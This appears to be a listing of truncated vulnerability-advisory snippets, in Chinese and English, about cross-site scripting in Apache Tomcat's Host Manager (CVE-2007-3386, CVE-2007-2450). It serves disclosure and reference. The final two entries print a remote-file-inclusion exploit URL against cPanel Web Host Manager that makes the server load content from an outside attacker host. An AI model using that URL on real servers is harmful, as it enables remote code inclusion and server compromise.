Apache Tomcat Host Manager Servlet跨站脚本执行漏洞

BUGTRAQ ID: 25314 CVECAN ID: CVE-2007-3386 Apache Tomcat是一个流行的开放源码的JSP应用服务器程序。 Apache Tomcat实现上存在输入验证漏洞，远程攻击者可能利用引漏洞导致跨站脚本执行。 Apache Tomcat的Host Manager Servlet没有正确地过滤用户输入，如果用户向服务器提交了恶意请求的话就可以执行跨站脚本攻击，导致注入并执行任意HTML和Web脚本。 Apache Group Tomcat 6.0.0 - 6.0.13 Apache Group Tomcat 5.5.0 - 5.5.24...

Apache Tomcat Host Manager Servlet跨站脚本漏洞

Apache Tomcat是一个流行的开放源码的JSP应用服务器程序。 Apache Tomcat主机管理器Servlet不正确过滤用户提交的数据，远程攻击者可以利用漏洞进行跨站脚本攻击，获得敏感信息。 攻击者可以构建恶意WEB页，诱使用户访问来触发，可获得目标用户敏感信息。 Apache Software Foundation Tomcat 6.0.13 Apache Software Foundation Tomcat 6.0.12 Apache Software Foundation Tomcat 6.0.11 Apache Software Foundation Tomcat...

JVN#59851336 Apache Tomcat Host Manager cross-site scripting vulnerability

Apache Tomcat from the Apache Software Foundation is an implementation of the Java Servlet and JavaServer Page JSP technologies. The Host Manager Servlet does not properly filter user supplied data. This enables a cross-site scripting attack. Impact An arbitrary script could be executed on the...

Apache Tomcat multiple security vulnerabilities

Information leak on session cookies with ' or ". Crossite scripting in Host Manager servlet...

CVE-2007-3386: XSS in Host Manager

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 CVE-2007-3386: XSS in Host Manager Severity: Low Cross-site scripting Vendor: The Apache Software Foundation Versions Affected: 6.0.0 to 6.0.13 5.5.0 to 5.5.24 Description: The Host Manager Servlet does not filter user supplied data before display. Th...

CVE-2007-3386.txt

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 CVE-2007-3386: XSS in Host Manager Severity: Low Cross-site scripting Vendor: The Apache Software Foundation Versions Affected: 6.0.0 to 6.0.13 5.5.0 to 5.5.24 Description: The Host Manager Servlet does not filter user supplied data before display. Th...

Apache Tomcat 6.0.13 - Host Manager Servlet Cross-Site Scripting

source: https://www.securityfocus.com/bid/25314/info Apache Tomcat Host Manager Servlet is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability to inject HTML and script code into the brows...

tomcat host manager XSS

Multiple cross-site scripting XSS vulnerabilities in the 1 Manager and 2 Host Manager web applications in Apache Tomcat 4.0.0 through 4.0.6, 4.1.0 through 4.1.36, 5.0.0 through 5.0.30, 5.5.0 through 5.5.24, and 6.0.0 through 6.0.13 allow remote authenticated users to inject arbitrary web script o...

Apache Tomcat Manager和Host Manager上传跨站脚本漏洞

Apache Tomcat是一个流行的开放源码的JSP应用服务器程序。 Apache Tomcat包含的管理和主机管理WEB应用程序不正确处理URL数据，远程攻击者可以利用漏洞进行跨站脚本攻击，获得敏感信息。 提交恶意POST请求，由于不充分过滤，可导致提交恶意脚本代码作为参数，当其他用户解析时可泄露敏感信息。 Apache Tomcat 6.0.13 Apache Tomcat 6.0.12 Apache Tomcat 6.0.11 Apache Tomcat 6.0.10 Apache Tomcat 6.0.9 Apache Tomcat 6.0.8 Apache Tomcat...

CVE-2007-2450

Multiple cross-site scripting XSS vulnerabilities in the 1 Manager and 2 Host Manager web applications in Apache Tomcat 4.0.0 through 4.0.6, 4.1.0 through 4.1.36, 5.0.0 through 5.0.30, 5.5.0 through 5.5.24, and 6.0.0 through 6.0.13 allow remote authenticated users to inject arbitrary web script o...

CVE-2007-2450

Multiple cross-site scripting XSS vulnerabilities in the 1 Manager and 2 Host Manager web applications in Apache Tomcat 4.0.0 through 4.0.6, 4.1.0 through 4.1.36, 5.0.0 through 5.0.30, 5.5.0 through 5.5.24, and 6.0.0 through 6.0.13 allow remote authenticated users to inject arbitrary web script o...

CVE-2007-2450

CVE-2007-2450 refers to multiple cross-site scripting (XSS) vulnerabilities in the Manager and Host Manager web applications of Apache Tomcat. The description in the initial document states that remote authenticated users can inject arbitrary web script or HTML via a parameter name to /manager/ht...

Apache Tomcat crossite scripting

Crossite scripting with Manager / Host Manager or JSP pages examples...

whm-rfi.txt

name : web host manager vendor : cpanel.net by : s3rv3rhack3r ali at hackerz dot ir web-site : www.hackerz.ir - ali.hackerz.ir exploit: http://domain.com:2086/scripts2/objcache?obj=http://www.hackerz.ir/?...

remote file include in whm (all version)

name : web host manager vendor : cpanel.net by : s3rv3rhack3r ali at hackerz dot ir web-site : www.hackerz.ir - ali.hackerz.ir exploit: http://domain.com:2086/scripts2/objcache?obj=http://www.hackerz.ir/?...